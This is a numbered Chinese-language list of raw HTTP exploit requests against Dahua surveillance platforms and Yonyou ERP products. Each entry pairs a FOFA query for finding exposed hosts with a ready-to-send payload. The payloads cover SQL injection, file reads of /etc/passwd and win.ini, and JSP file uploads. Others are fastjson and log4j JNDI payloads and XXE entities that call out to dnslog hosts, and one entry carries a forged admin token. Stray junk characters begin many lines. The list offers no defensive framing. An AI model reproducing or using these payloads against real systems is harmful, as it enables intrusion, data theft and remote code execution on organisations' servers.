$ x, V' ?$ j* X# F6 e5 uUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
$ D( C& x; K/ ]: WAccept: */*
Accept-Language: en
/ R2 [% @, j" A* \" HAccept-Encoding: gzip
2 B2 R% p" N9 j* w% l
0 U+ L! ?0 O; }* A) K) P% U
4 A& V: \5 v' ~* |7 T5 Y17. 大华 DSS itcBulletin SQL 注入
) q7 ]: Y0 u6 Y' AFOFA：app="dahua-DSS"
5 j6 V9 @1 V; G7 kPOST /portal/services/itcBulletin?wsdl HTTP/1.1
3 Y7 `. s  c8 [) I: s# m7 {Host: x.x.x.x
2 U3 I, Z1 ~- O0 s6 n( pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) O; Q9 A5 {: K) v. J2 ZConnection: close
% M$ q. h$ U: LContent-Length: 345
Accept-Encoding: gzip

4 R# K2 h# ^3 u<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
, r+ ]; N1 P+ z& J+ q    </ns1:deleteBulletin>
  </s11:Body>
' G4 g7 \3 V$ j: T, |</s11:Envelope>
& l8 _; k0 \! a
8 q) a# C5 q$ B% w
$ E4 Q! {6 Z7 x# g+ Z: z- K0 Z" n18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
, u/ z, g2 w4 l7 t6 G, C& mGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
: P1 G8 d! t- ?8 THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; q" E" u6 M# h$ o" E, B) A1 \( \Accept-Encoding: gzip, deflate
  X. \9 V5 S0 J5 c$ f/ ?Accept: */*
Connection: keep-alive



9 l) |. X; z, B  Q% d% p# ^19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
7 c& a9 l# ~, x% J0 _# F: A. cFOFA：app="dahua-DSS"
: L' C9 |  T4 A9 P. D2 PGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
. [8 y/ P# `$ a: r3 iHost:
/ z( \- e: u: YUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
3 @9 u4 k3 M4 {2 k# m) |' s: E8 t5 |

+ ~* X6 I$ \2 B8 E. D, x20. 大华ICC智能物联综合管理平台任意文件读取
1 H6 t6 v* e: O; F1 B1 X* ?; @5 mFOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
/ O% x3 Q2 a9 I( j  RHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& k- {1 B- O3 A, S" O! c. q0 [Connection: close
- O; p, l, Y( M4 r) H  M0 h- C; hAccept: */*
9 Z; w+ C$ h' _0 g8 EAccept-Language: en
Accept-Encoding: gzip
/ c5 K. j+ W7 Z

  I+ g5 S, k+ q$ z( f: t% k21. 大华ICC智能物联综合管理平台random远程代码执行
5 |& r8 N, i7 g/ G' f# BFOFA：icon_hash="-1935899595"
" j; t6 F# M& K$ i4 s, aPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
4 E6 k/ d, Y" t" W+ W& `2 }9 y: [9 |Host: x.x.x.x
2 @+ l# }- D4 L5 N: JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
, }+ e4 ?  A. FAccept-Encoding: gzip
Connection: close
' t* C' z" {9 l; l* X6 sContent-Type: application/json;charset=utf-8

  W) W1 I1 i2 Y9 n{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
# q+ a' O8 L9 E% W, y}

+ Y; u& `0 W' {8 |. b4 |5 o
- {$ n/ g8 D( }& O0 }22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
' k+ f% \7 z* d9 _3 ]  kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

% ~1 y: d8 L' T& n( g8 ?3 h{
"loginName":"${jndi:ldap://dnslog}"
7 t7 [3 {0 e% N) b0 @9 u0 E}


3 R* V, N+ \# s7 z# ]$ a
% F, g5 h9 w4 X$ w8 f$ k" A23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
5 g1 c  t* g) \! E3 m6 k. q% eConnection: close
3 }- D; i0 v+ _6 _! `4 l- O
{
    "a":{
$ ~4 p& W$ p9 \3 Y8 J        "@type":"com.alibaba.fastjson.JSONObject",
% c2 n9 U+ Z* G) b& B  D. R       {"@type":"java.net.URL","val":"http://DNSLOG"}
. B( \& a$ Z( A; J, _) ]3 K        }""
8 C2 v) ^7 e5 v$ V}
3 P+ A& u3 o5 u! h- Q2 A9 Z- T/ ^5 D
1 x+ Y) [" Y% u1 J" u
24. 用友NC 6.5 accept.jsp任意文件上传
0 |0 N: u* k% ]" O, UFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
2 K1 ?- f7 G4 \& u1 |8 B: cAccept: */*
$ ~2 e. f9 @" _$ D4 p+ ^5 ?3 F# UAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
2 j7 X% Q2 Y$ G0 A
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
4 y. b- X& h' f2 u+ P" I6 I( AContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
8 Y3 r! o4 Y  ~( {# _6 a( D
/ E( }, \9 V5 w% J<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
0 F; k$ R# K" t2 w$ E4 M! X
1 f$ C( K" j3 d5 N: Q\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
  Q3 G, w/ H8 k$ ~9 Q# f% L-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
3 R( o* ?- c0 C: ~
/ u; @5 _# R* {$ X( Z4 G  A; c
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
( i1 a  {; x: E, z' V' K5 xPOST /portal/registerServlet HTTP/1.1
" s3 P( H6 O+ v2 M9 A: c5 E0 SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
# i/ {+ r! S  @- fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
" E- d3 v9 k9 T1 ^* @; D: qAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog


( l2 u  R: K9 r) {* ?
7 r' C; c% t9 L8 [  z26. 用友NC linkVoucher SQL注入
' K8 b/ b/ t2 v0 GFOFA：app="用友-UFIDA-NC"
# O, ^% z/ F- [; L* ~" PGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 d5 H! L% Z0 n: WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- z3 u, V) Y7 i6 c2 lContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
9 r$ M) a5 N3 i" M. m$ ZConnection: keep-alive
3 z3 S) A0 l0 p( l& o! S# o
3 e7 [1 d1 L3 q% o
27. 用友 NC showcontent SQL注入
/ @* g& t+ y5 r# I$ l0 v& J7 m: ~FOFA：icon_hash="1085941792"
. I2 i, U% U  ?% T! V# gGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
6 J3 H' |% b% Z# lHost: your-ip
3 v4 y/ Z' [8 x/ C8 o4 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' ]+ s; |; V) m7 q% dAccept-Encoding: identity
) u. `2 W; M# ~$ e7 DConnection: close
Content-Type: text/xml; charset=utf-8
( \; w( E( ^% x0 z
9 p6 G3 ?7 M. C: m2 M
28. 用友NC grouptemplet 任意文件上传
5 H+ Y% ~* N6 u: `: f, iFOFA：icon_hash="1085941792"
6 v$ g4 S) ?. t% }POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
2 A6 g- a# W8 Q8 c4 t& MHost: x.x.x.x
) p7 K% x, c* K) @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
' A3 T& J) B) H0 I, RConnection: close
Content-Length: 268
- T, `7 R6 M+ M; Q( {Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
8 B) d, L4 Q- y
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

2 W+ O( y8 p$ x- Z4 u. d5 N; J<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


. |: }9 ~0 R; X: c2 s# q: ]/ a$ P/uapim/static/pages/nc/head.jsp

7 R2 x4 Y+ g7 n. k. O0 b: N" A29. 用友NC down/bill SQL注入
- z: c7 |  f  kFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
& [, W1 [# H5 ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# s9 Q  R/ l5 @8 gContent-Type: application/x-www-form-urlencoded
( ^" a% Y! s7 B5 UAccept-Encoding: gzip, deflate
' s- Z5 w5 J( u: b2 oAccept: */*
Connection: keep-alive

  ?0 b& e7 d* B: X& P
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
* t1 S2 y+ s1 R4 `/ P: oPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
, b5 j3 X6 J. JHost: your-ip
& e4 m/ b8 m  @' [Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
* D& h8 }9 Y) z& j" R# x7 V, wConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
' d: T+ V$ x, ^" ~2 V. ?4 DContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

; t9 O: e: O2 Z) E$ u
& S9 R$ v9 ^7 d3 L9 d9 H5 n# N$ \31. 用友NC runStateServlet SQL注入
6 C$ J; _5 S: E% B2 f* S& Cversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
( K5 @$ R% T1 N- O# FGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
4 Y0 k  m9 N0 V6 f; a+ eHost: host
- E3 A' }# N6 S  d; x1 v2 }+ tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded

% S: h7 O0 d% C$ ]3 }; D
32. 用友NC complainbilldetail SQL注入
2 s% x7 ~1 c8 `# J0 Q" D) K5 Q8 yversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
* Z+ x( H! L- e- DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. i7 q2 E2 Y, pContent-Type: application/x-www-form-urlencoded
/ f1 K# |6 B; j% L( O( uAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
' o2 y+ I- @! k$ t( mGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 {$ i+ [8 e6 K9 o! d4 M4 oAccept: */*
Connection: keep-alive
  Q+ h2 V2 s) p9 y0 K0 f

4 M; V* \' N- i& T1 ~2 I34. 用友NC warningDetailInfo接口SQL注入
. t9 X7 t1 N  A$ o8 }FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 u: d6 F4 q$ V6 ~$ k1 j* HHost: your-ip
( O8 s9 z$ x( |; ]9 ]- h7 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 u+ Y% A  I& `* SAccept: */*
& M2 Y5 ^+ N7 }; ^( e# c2 PConnection: keep-alive
3 F/ j+ i" f; |( B& m

35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
6 t' f: G& i1 ^3 F8 B" kPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
( z4 {, ^! ^1 Y! P: yUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
' p2 l% e/ y: T6 UAccept: */*
0 A& `9 `, M2 RConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

! {0 m3 D% h0 t8 y--fd28cb44e829ed1c197ec3bc71748df0
" y' i) t7 j7 [+ I) l. H- WContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
9 r9 q+ r4 E: v* f" V- W: E3 y
, m' d- ?! `2 w! V& l<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
! T2 Y9 r! u4 c& w1 l1 PHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
5 Z/ i# I0 {9 @9 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
5 S- M% k# K1 k' n& rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 i# `4 a' s( [$ N8 |$ |Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
/ ^3 `  T2 m3 p) b6 s7 LHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
( o: |: Y" H0 {0 a" l7 D* t: _Content-Length: 421
$ @, t1 }: z  I/ l  @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
4 J4 D/ F6 G. c5 X3 s4 G4 m! E: uAccept-Encoding: gzip, deflate
$ s5 P4 j) U, O% r1 r! o0 }Accept-Language: zh-CN,zh;q=0.9
Connection: close
: B+ C7 t8 @' e5 ]Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
, B& f0 b* W( L' d7 V6 ^<soapenv:Header/>
! a- n) R; ?7 _% G' T; U2 {<soapenv:Body>
0 i( D5 U' M" x<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
. R$ \  @1 N3 Q8 C<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
1 V" A4 N: E2 @& N<xxx/>]]></iup:string>
% z) T* n0 N  |5 Y- O# V' Q</iup:getResult>
</soapenv:Body>
+ o# C9 h* w' D4 Z</soapenv:Envelope>
2 n  q3 u5 U) q: x) Z
% T  J" q7 H# [" b3 o
+ ^$ X( v% b8 l, d$ Q: O
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
& s' D8 \5 k. IHost: 192.168.40.131:8088
2 `: u) {  K: f1 j$ hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
. ]. b5 V2 U$ n  _9 a% m  FContent-Length: 260
% l0 ^5 L$ l/ z& s. Z" R' y1 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
, f3 i; G' U  AAccept-Language: zh-CN,zh;q=0.9
) C8 t1 v% t! v! h+ x, u5 j  _4 wConnection: close
Content-Type: application/x-www-form-urlencoded

* R4 [/ M' P2 f__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


7 K" j7 w' D  R: {+ r% f1 v4 q39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
. ?& _% p% l7 D: xPOST /servlet/RegisterServlet HTTP/1.1
2 u; B3 N% a1 |4 DHost: 192.168.86.128:8089
3 g" F+ B' G8 |6 ^( @9 w* qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
6 i! O+ l# a4 H# u( uConnection: close
Content-Length: 85
Accept: */*
Accept-Language: en
" Q: Y% y7 I- f( UContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
: u4 z/ F# g& n0 V, @% N0 U. g
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
0 j8 G) L- J% ]! `
2 R! D3 e% u% Y$ J) ~; P$ w
/ Y4 b) Q* A+ b* U40. 用友U8-Cloud XChangeServlet XXE
" i# G8 e9 O; [# \# X0 l3 fFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
7 F+ n3 d! R+ w9 yHost: x.x.x.x
6 R8 Z2 {9 ]$ C" A3 `User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
6 A2 i* y5 B9 `2 Z( `6 N2 pContent-Type: text/xml
, Q/ b$ E3 m- {/ d$ ^; J4 aConnection: close
- w& R, }+ m3 u/ c% b
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
. x( _3 G4 `# P3 mGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
9 z9 i5 [" _- y( g; X/ KConnection: close

* m( ~0 }( X% }% e6 r- v' |
0 h/ R% T( e- f9 x42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
; C* z5 g& `1 n+ t) D* a% YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD

  l: L& `* T/ w3 I( U; q3 o5 E
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
1 ]- W7 ]( o; {0 y  M
- m2 X- K: J1 S! _8 Y43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
: M* A9 f/ z& `" N& l& nPOST /services/userInfoWeb HTTP/1.1
& p- u- _8 L7 C5 R9 wHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
+ b# a5 L+ g6 i3 z* aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 F9 ~1 Z8 F5 Z$ SAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 W$ M: G$ X2 o" P. iConnection: close
2 h9 e2 T* s/ Z( `) C4 lSOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
/ M  X; m! {% m! |/ K/ Y, D8 j         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
' z/ b& r1 B  v& g+ e      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
+ }. q: a5 a5 Z& x) ~& y$ P  LFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
- D7 |* }% V  Y  {- nHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
( B8 n  [+ [) p; H: E5 b2 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& s& O# \/ M) [$ tAccept-Encoding: gzip, deflate
- D5 l6 l1 A2 B6 u4 z: J% }Accept-Language: zh-CN,zh;q=0.9
Connection: close


. O+ l0 q. }6 g; [+ `& S7 U$ Y45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
. z: ?; H5 p+ B0 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
  }# E+ G" O* `# t3 rContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ C% d% L. O' y  @3 ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
+ J. X. F) P: n) e; l: |Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
- p2 p3 ]4 F& Q<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
# G* e7 ^8 ?. x+ ~
4 {1 v, J% B; g  ~: u6 q
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
3 e# I* L# j6 [GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
8 h! ]* w9 \; i0 }; y7 I) AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 O* \6 ~. E, U: z' BAccept-Encoding: gzip, deflate
- [; V) b1 A. s! vAccept-Language: zh-CN,zh;q=0.9
Connection: close


7 }8 M0 Q2 [* O) T" p* Y! S' t47. 用友GRP A++Cloud 政府财务云 任意文件读取
1 I1 z4 G5 {: U; q' M+ x" wFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
: t3 P3 p* K1 z2 p( t) O, SHost: x.x.x.x
Cache-Control: max-age=0
/ N0 b, x) H0 b) {* VUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) M, [- w( f$ HAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
